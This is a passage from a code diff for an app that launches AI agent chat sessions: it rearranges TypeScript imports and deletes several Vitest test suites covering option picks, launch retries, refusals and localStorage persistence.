-  })
-
   it('reports a refused pick to its picker and publishes all the same', async () => {
     mocks.launch.mockResolvedValue({ sessionId: SESSION_ID, fence: 1 })
     const launch = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
@@ -439,44 +280,4 @@ describe('picks made while a chat launches', () => {
       }
     })
   })
-
-  it('keeps picks held through a failed start and applies them to the retry', async () => {
-    mocks.launch
-      .mockRejectedValueOnce(new StructuredAgentSessionCreateRefusalError('unsupported'))
-      .mockResolvedValueOnce({ sessionId: SESSION_ID, fence: 2 })
-    startStructuredAgentLaunch(WORKTREE_ID, 'codex', { requestId: 'request-5' })
-    holdStructuredAgentSessionLaunchOption(SESSION_ID, 'model', 'gpt-picked')
-    await settle()
-    expect(lifecycle()).toBe('failed')
-    expect(mutations()).toEqual([])
-
-    expect(retryStructuredAgentSessionLaunch(WORKTREE_ID, SESSION_ID)).toBe(true)
-    expect(getStructuredAgentSessionLaunchSelection(SESSION_ID)).toEqual({
-      seed: { model: 'gpt-saved-since' }
-    })
-    await settle()
-    expect(mutations()).toEqual([
-      { method: 'agentSession.setOption', fence: 2, key: 'model', value: 'gpt-picked' }
-    ])
-  })
-
-  it('discards them when the tab closes before the launch publishes', async () => {
-    const created = deferred<{ sessionId: string; fence: number }>()
-    mocks.launch.mockReturnValue(created.promise)
-    startStructuredAgentLaunch(WORKTREE_ID, 'codex', { requestId: 'request-6' })
-    holdStructuredAgentSessionLaunchOption(SESSION_ID, 'model', 'gpt-picked')
-
-    const otherHost = { kind: 'environment', environmentId: 'surviving-held-chat' } as const
-    const survivor = structuredSessionSelectionController(otherHost, SESSION_ID, 'codex')
-    survivor.issue('model', 'other-host-model', null)
-    cancelStructuredAgentLaunch(WORKTREE_ID, SESSION_ID)
-    expect(structuredSessionSelectionController(otherHost, SESSION_ID, 'codex')).toBe(survivor)
-    expect(survivor.overlay()).toEqual({ model: 'other-host-model' })
-    forgetStructuredSessionSelection(SESSION_ID, otherHost)
-    created.resolve({ sessionId: SESSION_ID, fence: 1 })
-    await settle()
-
-    expect(mutations()).toEqual([])
-    expect(holdStructuredAgentSessionLaunchOption(SESSION_ID, 'model', 'gpt-late')).toBeNull()
-  })
 })
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options.ts
index 26e9728a8ed..9eac5186299 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options.ts
@@ -1,22 +1,10 @@
-import {
-  createLegacyPrerequisites,
-  type LegacyPrerequisites
-} from './structured-agent-session-launch-prerequisites'
+import { createLegacyPrerequisites } from './structured-agent-session-launch-prerequisites'
+import type { LegacyPrerequisites } from './structured-agent-session-launch-prerequisites'
 import { useSyncExternalStore } from 'react'
 import { acceptedStructuredSessionSelectionOutcome } from '../../../../../shared/agent-session/options/structured-agent-session-options-write-owner'
 import { structuredSessionSelectionController } from '../options/structured-agent-session-selection-controller'
-import type {
-  SelectionOperation,
-  SelectionOutcome
-} from '../../../../../shared/agent-session/options/structured-agent-session-selection-operations'
-import {
-  structuredAgentSessionOptionPicks,
-  type StructuredAgentSessionOptionState
-} from '../../../../../shared/agent-session/options/structured-agent-session-options'
-import type {
-  AgentSessionMutationResult,
-  AgentSessionOptionResult
-} from '../../../../../shared/agent-session/agent-session-wire'
+import { structuredAgentSessionOptionPicks } from '../../../../../shared/agent-session/options/structured-agent-session-options'
+import type { StructuredAgentSessionOptionState } from '../../../../../shared/agent-session/options/structured-agent-session-options'
 import {
   createStructuredAgentSessionOperationId,
   structuredAgentSessionPayloadFingerprint
@@ -24,19 +12,28 @@ import {
 import { callStructuredAgentSession } from '@/runtime/native-chat/requests/structured-agent-session-call'
 import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result'
 import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../shared/non-secure-context-uuid'
-import type { StructuredAgentLaunchReceipt } from './structured-agent-session-launch-recovery'
 import {
   getStructuredLaunchStateBySessionId,
   subscribeStructuredAgentLaunchStatus,
   type StructuredLaunchState
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
+
 import {
   agentSessionRefusalFailure,
-  agentSessionThrownFailure,
-  type AgentSessionWriteFailure
+  agentSessionThrownFailure
 } from '../../../../../shared/agent-session/failures/agent-session-write-failure'
+import type { AgentSessionWriteFailure } from '../../../../../shared/agent-session/failures/agent-session-write-failure'
+import type {
+  SelectionOperation,
+  SelectionOutcome
+} from '../../../../../shared/agent-session/options/structured-agent-session-selection-operations'
+import type {
+  AgentSessionMutationResult,
+  AgentSessionOptionResult
+} from '../../../../../shared/agent-session/agent-session-wire'
+import type { StructuredAgentLaunchReceipt } from './structured-agent-session-launch-recovery'
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
-import type { StructuredAgentSessionLaunchIntent } from '../../launch-structured-agent-session'
+import type { StructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-intent'
 
 /** The options a launch starts with, replaced whole so readers can compare by identity. */
 export type StructuredLaunchSelection = {
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-outcome-tracking.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-outcome-tracking.ts
index f19ea8db67a..2657ba57307 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-outcome-tracking.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-outcome-tracking.ts
@@ -17,12 +17,12 @@ import {
 } from '@/lib/agent-session/launch/structured-agent-session-launch-callers'
 import type { StructuredAgentLaunchReceipt } from '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
 import { structuredLaunchFailure } from './structured-agent-session-launch-failure'
+import { retireStructuredAgentSessionLaunchCancellationTombstone } from './structured-agent-session-launch-registry'
 import {
   deleteStructuredLaunchStateIfCurrent,
   notifyStructuredLaunchListeners,
-  retireStructuredAgentSessionLaunchCancellationTombstone,
   type StructuredLaunchState
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 import { recordUnlistedCreatedChat } from './pane/structured-agent-session-unlisted-created-chats'
 import { forgetStructuredSessionSelection } from '../options/structured-agent-session-selection-controller'
 
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence-scale.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence-scale.test.ts
deleted file mode 100644
index c3660f7489d..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence-scale.test.ts
+++ /dev/null
@@ -1,196 +0,0 @@
-// @vitest-environment happy-dom
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import {
-  mocks,
-  resetCreateMessageFixture,
-  cleanupCreateMessageFixture,
-  createParams,
-  created,
-  submission,
-  start,
-  deferred
-} from './structured-agent-session-launch-create-message.test-fixture'
-import { retryStructuredAgentSessionLaunch } from './structured-agent-session-launch'
-import {
-  getStructuredLaunchStateBySessionId,
-  setStructuredLaunchState,
-  notifyStructuredLaunchListeners,
-  subscribeStructuredAgentLaunchStatus,
-  type StructuredLaunchState
-} from './structured-agent-session-launch-registry'
-import {
-  readStructuredAgentLaunchRecord,
-  resetStructuredAgentLaunchPersistenceForTests,
-  writeStructuredAgentLaunchRecord
-} from './structured-agent-session-launch-persistence'
-import {
-  resetStructuredAgentSessionSendsForTests,
-  settleStructuredAgentSessionSendsFromJournal
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import {
-  getStructuredAgentSessionPendingSends,
-  publishStructuredAgentSessionSends,
-  type StructuredAgentSessionPendingSend
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-
-const KEY = 'orca:structuredAgentLaunches:v1'
-const refusal = {
-  ok: false,
-  refusal: {
-    code: 'agent_session_operation_invalid',
-    ownerVerdict: 'exited',
-    details: { reason: 'cliMissing' }
-  }
-}
-const diskOnly = {
-  sessionId: 'disk-only',
-  executionHostId: 'local' as const,
-  agent: 'codex' as const,
-  lifecycle: 'visibility-unknown' as const,
-  clientOperationId: 'disk-operation',
-  payloadFingerprint: 'disk-payload',
-  expectedRuntimeFence: null
-}
-let restore: (() => void) | undefined
-beforeEach(() => {
-  mocks.settings = {}
-  restore = resetCreateMessageFixture()
-})
-afterEach(() => {
-  vi.restoreAllMocks()
-  cleanupCreateMessageFixture(restore)
-})
-
-function addFailedLaunches(template: StructuredLaunchState, count: number) {
-  for (let index = 0; index < count; index++) {
-    const sessionId = `failed-${index}`
-    setStructuredLaunchState({
-      ...template,
-      visibilityUnknown: false,
-      intent: { ...template.intent, sessionId },
-      callers: { ...template.callers, outcome: 'failed', failedAt: 42, onSettled: () => {} }
-    })
-  }
-  writeStructuredAgentLaunchRecord(diskOnly)
-}
-
-it('retains refused retry recovery alongside unrelated and disk-only launches', async () => {
-  mocks.call.mockRejectedValue(new Error('answer lost'))
-  const launch = start()
-  await expect(launch.launchResult).rejects.toThrow('answer lost')
-  await launch.promptDeliveryResult
-  const state = getStructuredLaunchStateBySessionId(launch.sessionId)!
-  addFailedLaunches(state, 2)
-  mocks.call.mockResolvedValue(refusal)
-  expect(retryStructuredAgentSessionLaunch('workspace-1', launch.sessionId)).toBe(true)
-  await state.promise.catch(() => {})
-  resetStructuredAgentLaunchPersistenceForTests()
-  expect(readStructuredAgentLaunchRecord('disk-only')).toEqual({
-    sessionId: 'disk-only',
-    executionHostId: 'local',
-    agent: 'codex',
-    lifecycle: 'visibility-unknown',
-    clientOperationId: 'disk-operation',
-    payloadFingerprint: 'disk-payload',
-    expectedRuntimeFence: null
-  })
-  for (const sessionId of ['failed-0', 'failed-1']) {
-    expect(readStructuredAgentLaunchRecord(sessionId)).toMatchObject({
-      sessionId,
-      executionHostId: 'local',
-      agent: 'codex',
-      lifecycle: 'failed'
-    })
-  }
-  expect(readStructuredAgentLaunchRecord(launch.sessionId)).toMatchObject({
-    sessionId: launch.sessionId,
-    executionHostId: 'local',
-    agent: 'codex',
-    firstMessage: {
-      body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'opening text' }] }
-    }
-  })
-})
-
-it('settles a late receipt without consuming unrelated pending inputs', async () => {
-  const first = deferred<unknown>()
-  mocks.call.mockReturnValue(first.promise)
-  const launch = start()
-  await vi.waitFor(() => expect(createParams().firstMessage).toBeDefined())
-  const original = createParams()
-  await vi.advanceTimersByTimeAsync(30_000)
-  await launch.promptDeliveryResult
-  mocks.call.mockResolvedValue(refusal)
-  retryStructuredAgentSessionLaunch('workspace-1', launch.sessionId)
-  await getStructuredLaunchStateBySessionId(launch.sessionId)!.promise.catch(() => {})
-  resetStructuredAgentSessionSendsForTests()
-  const pending: StructuredAgentSessionPendingSend[] = ['unconfirmed-0', 'unconfirmed-1'].map(
-    (clientMessageId) => ({
-      clientMessageId,
-      sessionId: launch.sessionId,
-      body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'pending input' }] },
-      phase: 'unconfirmed',
-      issued: true,
-      previewUris: [],
-      queuedAt: 1
-    })
-  )
-  publishStructuredAgentSessionSends(launch.sessionId, {
-    entries: [
-      ...pending,
-      {
-        ...pending[0],
-        clientMessageId: 'covered',
-        phase: 'recorded',
-        recordedCursor: { epoch: 'epoch-1', sequence: 1 }
-      }
-    ]
-  })
-  const row = submission(original.firstMessage!.clientMessageId)
-  first.resolve({
-    ...created(original),
-    cursor: { epoch: 'epoch-1', sequence: 1 },
-    value: { ...created(original).value, firstMessage: row }
-  })
-  await vi.advanceTimersByTimeAsync(0)
-  expect(
-    getStructuredAgentSessionPendingSends(launch.sessionId).map((send) => send.clientMessageId)
-  ).toEqual(['unconfirmed-0', 'unconfirmed-1'])
-  expect(readStructuredAgentLaunchRecord(launch.sessionId)).toBeUndefined()
-  settleStructuredAgentSessionSendsFromJournal(launch.sessionId, [row], [])
-  expect(
-    getStructuredAgentSessionPendingSends(launch.sessionId).map((send) => send.clientMessageId)
-  ).toEqual(['unconfirmed-0', 'unconfirmed-1'])
-  expect(readStructuredAgentLaunchRecord(launch.sessionId)).toBeUndefined()
-})
-
-it('saves before reentrant listeners and still notifies when storage refuses a snapshot', async () => {
-  mocks.call.mockRejectedValue(new Error('answer lost'))
-  const launch = start()
-  await expect(launch.launchResult).rejects.toThrow()
-  await launch.promptDeliveryResult
-  const state = getStructuredLaunchStateBySessionId(launch.sessionId)!
-  const originalOperation = state.intent.params.envelope.clientOperationId
-  const seen: string[] = []
-  const stop = subscribeStructuredAgentLaunchStatus(() => {
-    seen.push(JSON.parse(localStorage.getItem(KEY)!)[0].clientOperationId)
-    if (seen.length === 1) {
-      state.intent.params.envelope.clientOperationId = 'nested-operation'
-      notifyStructuredLaunchListeners()
-    }
-  })
-  notifyStructuredLaunchListeners()
-  expect(seen).toEqual([originalOperation, 'nested-operation'])
-  expect(JSON.parse(localStorage.getItem(KEY)!)[0].clientOperationId).toBe('nested-operation')
-  const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-  vi.spyOn(localStorage, 'setItem').mockImplementationOnce(() => {
-    throw new Error('storage denied')
-  })
-  state.intent.params.envelope.clientOperationId = 'after-failure'
-  notifyStructuredLaunchListeners()
-  expect(seen).toHaveLength(3)
-  expect(warn).toHaveBeenCalledOnce()
-  notifyStructuredLaunchListeners()
-  expect(JSON.parse(localStorage.getItem(KEY)!)[0].clientOperationId).toBe('after-failure')
-  stop()
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence.test.ts
index da802e7ddbc..e03065204f4 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence.test.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence.test.ts
@@ -10,9 +10,7 @@ import {
   writeStructuredAgentLaunchRecord,
   markStructuredAgentLaunchCancelledPersisted
 } from './structured-agent-session-launch-persistence'
-
-import { structuredAgentLaunchRecordFor } from './structured-agent-session-launch-record'
-import type { StructuredAgentSessionLaunchIntent } from '../../launch-structured-agent-session'
+import './structured-agent-session-launch-record'
 
 const SERVER = 'runtime:server-1'
 function reload(): void {
@@ -59,45 +57,6 @@ describe('structured agent launch persistence', () => {
   })
 
   // This machine cannot re-derive a paired server's seed, so a reload must show the same one.
-  it("keeps a paired server's reported seed across a reload, and no local one", () => {
-    const intent = (
-      executionHostId: 'local' | typeof SERVER,
-      sessionId: string
-    ): StructuredAgentSessionLaunchIntent => ({
-      sessionId,
-      worktreeId: 'workspace-1',
-      executionHostId,
-      target:
-        executionHostId === 'local'
-          ? { kind: 'local' }
-          : { kind: 'environment', environmentId: 'server-1' },
-      agent: 'claude',
-      params: {
-        envelope: {
-          sessionId,
-          clientOperationId: 'operation-9',
-          expectedRuntimeFence: null,
-          payloadFingerprint: 'fingerprint-9'
-        },
-        worktree: 'id:workspace-1',
-        agent: 'claude'
-      },
-      seedOptions: { model: 'opus', fastMode: 'true' }
-    })
-    writeStructuredAgentLaunchRecord(
-      structuredAgentLaunchRecordFor(intent(SERVER, 'claude_paired'), 'pending')
-    )
-    writeStructuredAgentLaunchRecord(
-      structuredAgentLaunchRecordFor(intent('local', 'claude_local'), 'pending')
-    )
-    reload()
-
-    expect(readStructuredAgentLaunchRecord('claude_paired')?.seedOptions).toEqual({
-      model: 'opus',
-      fastMode: 'true'
-    })
-    expect(readStructuredAgentLaunchRecord('claude_local')?.seedOptions).toBeUndefined()
-  })
 
   it('keeps when a failed launch failed across a reload, and still loads records without it', () => {
     writeStructuredAgentLaunchRecord({
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prerequisites.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prerequisites.test.ts
deleted file mode 100644
index 5a4fc5555fd..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prerequisites.test.ts
+++ /dev/null
@@ -1,362 +0,0 @@
-// @vitest-environment happy-dom
-import {
-  mocks,
-  resetCreateMessageFixture,
-  cleanupCreateMessageFixture,
-  deferred,
-  createParams,
-  created,
-  target,
-  draft,
-  legacyAction,
-  acceptedOption,
-  refusedOption,
-  optionCalls
-} from './structured-agent-session-launch-create-message.test-fixture'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  holdStructuredAgentSessionLaunchOption,
-  structuredLaunchSelectionController,
-  flushStructuredSessionSelectionOptions
-} from './structured-agent-session-launch-options'
-import {
-  structuredSessionSelectionController,
-  forgetStructuredSessionSelection
-} from '../options/structured-agent-session-selection-controller'
-import {
-  getStructuredLaunchStateBySessionId,
-  getStructuredAgentSessionLaunchLifecycle
-} from './structured-agent-session-launch-registry'
-import { readStructuredAgentLaunchRecord } from './structured-agent-session-launch-persistence'
-import { getStructuredAgentSessionSendNotice } from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
-import { recoverPublishedSessionReceipt } from './structured-agent-session-launch-recovery'
-import { publishStructuredLaunchCreateOptions } from './structured-agent-session-launch-create-message'
-import { retryStructuredAgentSessionLaunch } from './structured-agent-session-launch'
-
-let restoreCatalogStore: (() => void) | undefined
-describe('legacy opening action prerequisites through real launch orchestration', () => {
-  beforeEach(() => {
-    restoreCatalogStore = resetCreateMessageFixture()
-  })
-  afterEach(() => {
-    cleanupCreateMessageFixture(restoreCatalogStore)
-  })
-
-  it.each([
-    ['model', 'picked-model'],
-    ['effort', 'low'],
-    ['serviceTier', 'priority'],
-    ['fastMode', 'true'],
-    ['permissionMode', 'full-access']
-  ])(
-    'returns required held %s failure through actual publication and prompt',
-    async (key, value) => {
-      const unrelated = deferred<unknown>()
-      const { launch, create } = legacyAction(
-        { model: 'action-model', effort: 'high' },
-        async (field, encoded) =>
-          field === key
-            ? refusedOption
-            : key === 'model' && field === 'permissionMode'
-              ? unrelated.promise
-              : acceptedOption(field, encoded),
-        'local',
-        key === 'fastMode' ? 'claude' : 'codex'
-      )
-      const preference =
-        key === 'model'
-          ? holdStructuredAgentSessionLaunchOption(launch.sessionId, 'permissionMode', 'ask')
-          : null
-      const held = holdStructuredAgentSessionLaunchOption(launch.sessionId, key, value)!
-      await vi.waitFor(() => expect(createParams()).toBeDefined())
-      create.resolve(created())
-      await expect(held).resolves.toMatchObject({ kind: 'refused' })
-      await expect(launch.launchResult).resolves.toHaveProperty('configurationFailure')
-      await expect(launch.promptDeliveryResult).resolves.toMatchObject({
-        delivered: false,
-        inComposer: true
-      })
-      expect(draft(launch.sessionId)).toBe('opening text')
-      expect(getStructuredAgentSessionSendNotice(launch.sessionId)).toContain(
-        key === 'fastMode' ? 'Claude' : 'Codex'
-      )
-      expect(mocks.call.mock.calls.some(([, method]) => method === 'agentSession.send')).toBe(false)
-      expect(retryStructuredAgentSessionLaunch('workspace-1', launch.sessionId)).toBe(false)
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)).toBeUndefined()
-      expect(optionCalls().filter((call) => call.key === key)).toHaveLength(1)
-      if (key === 'effort') {
-        expect(optionCalls().map((call) => call.key)).toEqual(['model', 'effort'])
-      }
-      if (preference) {
-        expect(optionCalls().filter((call) => call.key === 'permissionMode')).toHaveLength(1)
-        unrelated.resolve(acceptedOption('permissionMode', 'ask'))
-        await expect(preference).resolves.toMatchObject({ kind: 'accepted' })
-      }
-    }
-  )
-
-  it.each([false, true])(
-    'keeps held unknown nonblocking only without explicit action (%s)',
-    async (explicit) => {
-      const { launch, create } = legacyAction(
-        explicit ? { model: 'action-model', effort: 'high' } : undefined,
-        async () => {
-          throw new Error('runtime_unavailable')
-        }
-      )
-      const held = holdStructuredAgentSessionLaunchOption(
-        launch.sessionId,
-        'model',
-        'picked-model'
-      )!
-      await vi.waitFor(() => expect(createParams()).toBeDefined())
-      create.resolve(created())
-      await expect(held).resolves.toMatchObject({
-        kind: 'unknown',
-        failure: { kind: 'unconfirmed' }
-      })
-      const receipt = await launch.launchResult
-      expect(receipt.configurationFailure !== undefined).toBe(explicit)
-      await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: !explicit })
-      expect(optionCalls()).toHaveLength(1)
-    }
-  )
-
-  it('rederives unsent dependents from retained exact handles and enrolls a later visited field', async () => {
-    const model = deferred<unknown>()
-    const effort = deferred<unknown>()
-    const writes: { key: string; value: string }[] = []
-    const { launch, create } = legacyAction(
-      { model: 'B', effort: 'high', serviceTier: 'default' },
-      async (key, value) => {
-        writes.push({ key, value })
-        return writes.length === 1
-          ? model.promise
-          : key === 'effort'
-            ? effort.promise
-            : acceptedOption(key, value)
-      }
-    )
-    const obsolete = holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'B')!
-    holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'C')
-    const newest = holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'B')!
-    await expect(obsolete).resolves.toEqual({ kind: 'superseded' })
-    await vi.waitFor(() => expect(createParams()).toBeDefined())
-    create.resolve(created())
-    await vi.waitFor(() => expect(writes).toEqual([{ key: 'model', value: 'B' }]))
-    const owner = structuredLaunchSelectionController(
-      getStructuredLaunchStateBySessionId(launch.sessionId)!
-    )
-    const first = owner.current('model')!
-    expect(first.transmitted).toBe(true)
-    // A current query may retire the picker object before the action continuation.
-    const stopRead = owner.subscribe(() => {
-      const terminal = owner.captureRead()
-      if (terminal.length) {
-        stopRead()
-        owner.retire(terminal)
-      }
-    })
-    const later = holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'C')!
-    await expect(later).resolves.toMatchObject({ kind: 'accepted' })
-    expect(owner.current('model')).toBeUndefined()
-    model.resolve(acceptedOption('model', 'B'))
-    await expect(newest).resolves.toMatchObject({ kind: 'accepted' })
-    await vi.waitFor(() => expect(writes).toHaveLength(3))
-    expect(writes[2]).toEqual({ key: 'effort', value: 'medium' })
-    effort.resolve(acceptedOption('effort', 'medium'))
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: true })
-    expect(writes.map(({ key, value }) => [key, value])).toEqual([
-      ['model', 'B'],
-      ['model', 'C'],
-      ['effort', 'medium']
-    ])
-  })
-
-  it('preserves transmitted required failure after newer success and joins actual recovered reentry', async () => {
-    const older = deferred<unknown>()
-    const { launch, create } = legacyAction(
-      { model: 'action-model', effort: 'high' },
-      async (key, value) => (value === 'B' ? older.promise : acceptedOption(key, value))
-    )
-    const b = holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'B')!
-    await vi.waitFor(() => expect(createParams()).toBeDefined())
-    create.resolve(created())
-    await vi.waitFor(() => expect(optionCalls()).toHaveLength(1))
-    const state = getStructuredLaunchStateBySessionId(launch.sessionId)!
-    const c = holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'C')!
-    await expect(c).resolves.toMatchObject({ kind: 'accepted' })
-    const original = state.intent
-    // Drive the real recovery→publication chain with its legitimate successor receipt.
-    const recovered = recoverPublishedSessionReceipt(state).then((receipt) =>
-      publishStructuredLaunchCreateOptions(state, receipt)
-    )
-    await vi.waitFor(() =>
-      expect(mocks.call.mock.calls.some(([, method]) => method === 'agentSession.history')).toBe(
-        true
-      )
-    )
-    expect(state.intent).toBe(original)
-    older.resolve(refusedOption)
-    await expect(b).resolves.toMatchObject({ kind: 'refused' })
-    await expect(launch.launchResult).resolves.toHaveProperty('configurationFailure')
-    await expect(recovered).resolves.toMatchObject({ fence: 2, configurationFailure: {} })
-    await expect(
-      recoverPublishedSessionReceipt(state).then((receipt) =>
-        publishStructuredLaunchCreateOptions(state, receipt)
-      )
-    ).resolves.toMatchObject({ fence: 2, configurationFailure: {} })
-    expect(optionCalls().map(({ value }) => value)).toEqual(['B', 'C'])
-    expect(draft(launch.sessionId)).toBe('opening text')
-    expect(
-      mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')
-    ).toHaveLength(0)
-  })
-
-  it('enrolls actual attached-owner requests before dispatch and hands unrelated picker work off on failure', async () => {
-    const model = deferred<unknown>()
-    const { launch, create } = legacyAction(
-      { model: 'action-model', effort: 'high' },
-      (key, value) =>
-        key === 'model'
-          ? model.promise
-          : key === 'permissionMode'
-            ? Promise.resolve(refusedOption)
-            : Promise.resolve(acceptedOption(key, value))
-    )
-    await vi.waitFor(() => expect(createParams()).toBeDefined())
-    create.resolve(created())
-    await vi.waitFor(() => expect(optionCalls()).toHaveLength(1))
-    const owner = structuredLaunchSelectionController(
-      getStructuredLaunchStateBySessionId(launch.sessionId)!
-    )
-    const pick = owner.issue('permissionMode', 'full-access', 'action-model')
-    void flushStructuredSessionSelectionOptions(target, launch.sessionId, 1, owner)
-    model.resolve(acceptedOption('model', 'action-model'))
-    await expect(pick.result).resolves.toMatchObject({ kind: 'refused' })
-    await expect(launch.launchResult).resolves.toHaveProperty('configurationFailure')
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({
-      delivered: false,
-      inComposer: true
-    })
-    expect(optionCalls().filter((call) => call.key === 'permissionMode')).toHaveLength(1)
-    expect(
-      mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')
-    ).toHaveLength(0)
-  })
-
-  it('returns the real keyless original-owner failure and one user Retry never rebinds option writes', async () => {
-    const paired = { kind: 'environment', environmentId: 'legacy-original' } as const
-    replaceRuntimeEnvironmentRevisions([{ id: paired.environmentId, createdAt: 1 }])
-    const raw = deferred<unknown>()
-    const { launch, create } = legacyAction(
-      { model: 'action-model' },
-      () => raw.promise,
-      'runtime:legacy-original'
-    )
-    await vi.waitFor(() => expect(createParams()).toBeDefined())
-    create.resolve(created())
-    await vi.waitFor(() => expect(optionCalls()).toHaveLength(1))
-    const state = getStructuredLaunchStateBySessionId(launch.sessionId)!
-    const original = state.intent
-    const owner = structuredLaunchSelectionController(state)
-    replaceRuntimeEnvironmentRevisions([{ id: paired.environmentId, createdAt: 2 }])
-    await expect(launch.launchResult).rejects.toThrow('owner retired')
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: false })
-    expect(draft(launch.sessionId)).toBe('opening text')
-    expect(getStructuredAgentSessionLaunchLifecycle('workspace-1', launch.sessionId)).toBe('failed')
-    raw.resolve(acceptedOption('model', 'action-model'))
-    expect(retryStructuredAgentSessionLaunch('workspace-1', launch.sessionId)).toBe(true)
-    await expect(state.promise).rejects.toThrow('owner retired')
-    expect(state.intent).not.toBe(original)
-    expect(structuredLaunchSelectionController(state)).toBe(owner)
-    expect(optionCalls()).toHaveLength(1)
-    const targets = mocks.call.mock.calls.map(([host, method]) => ({ host, method }))
-    expect(targets).toEqual([
-      { host: paired, method: 'agentSession.create' },
-      { host: paired, method: 'agentSession.setOption' },
-      { host: paired, method: 'agentSession.create' }
-    ])
-    expect(mocks.admit).toHaveBeenCalledTimes(2)
-    expect(draft(launch.sessionId)).toBe('opening text')
-    forgetStructuredSessionSelection(launch.sessionId, paired)
-    replaceRuntimeEnvironmentRevisions([])
-  })
-
-  it('delivers after late enrollment and releases its scoped selection observation', async () => {
-    const waiting = deferred<unknown>()
-    const { launch, create } = legacyAction({ model: 'action-model' }, (key, value) =>
-      key === 'model' ? waiting.promise : Promise.resolve(acceptedOption(key, value))
-    )
-    const state = getStructuredLaunchStateBySessionId(launch.sessionId)!
-    holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'action-model')
-    holdStructuredAgentSessionLaunchOption(launch.sessionId, 'effort', 'high')
-    const owner = structuredLaunchSelectionController(state)
-    let subscriptions = 0
-    const subscribe = owner.subscribe
-    const observation = vi.spyOn(owner, 'subscribe').mockImplementation((listener) => {
-      subscriptions++
-      const stop = subscribe(listener)
-      return () => {
-        subscriptions--
-        stop()
-      }
-    })
-    await vi.waitFor(() => expect(createParams()).toBeDefined())
-    create.resolve(created())
-    await vi.waitFor(() => expect(optionCalls()).toHaveLength(2))
-    const pick = holdStructuredAgentSessionLaunchOption(
-      launch.sessionId,
-      'permissionMode',
-      'full-access'
-    )!
-    await expect(pick).resolves.toMatchObject({ kind: 'accepted' })
-    waiting.resolve(acceptedOption('model', 'action-model'))
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: true })
-    expect(subscriptions).toBe(0)
-    expect(owner.pending()).toEqual([])
-    expect(optionCalls()).toContainEqual(
-      expect.objectContaining({ key: 'permissionMode', value: 'full-access' })
-    )
-    observation.mockRestore()
-    forgetStructuredSessionSelection(launch.sessionId)
-  })
-
-  it.each([false, true])(
-    'releases never-returning %s required requests at true end without reviving equal-text owners',
-    async (held) => {
-      const raw = deferred<unknown>()
-      const { launch, create } = legacyAction({ model: 'action-model' }, () => raw.promise)
-      if (held) {
-        holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'B')
-      }
-      await vi.waitFor(() => expect(createParams()).toBeDefined())
-      create.resolve(created())
-      await vi.waitFor(() => expect(optionCalls()).toHaveLength(1))
-      const owner = structuredLaunchSelectionController(
-        getStructuredLaunchStateBySessionId(launch.sessionId)!
-      )
-      const other = structuredSessionSelectionController(
-        { kind: 'environment', environmentId: 'other-legacy' },
-        launch.sessionId,
-        'codex'
-      )
-      other.issue('model', 'other', null)
-      forgetStructuredSessionSelection(launch.sessionId, target)
-      await expect(launch.launchResult).rejects.toThrow('owner retired')
-      await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: false })
-      expect(draft(launch.sessionId)).toBe('opening text')
-      const replacement = structuredSessionSelectionController(target, launch.sessionId, 'codex')
-      expect(replacement).not.toBe(owner)
-      expect(other.overlay()).toEqual({ model: 'other' })
-      raw.resolve(acceptedOption('model', 'B'))
-      await Promise.resolve()
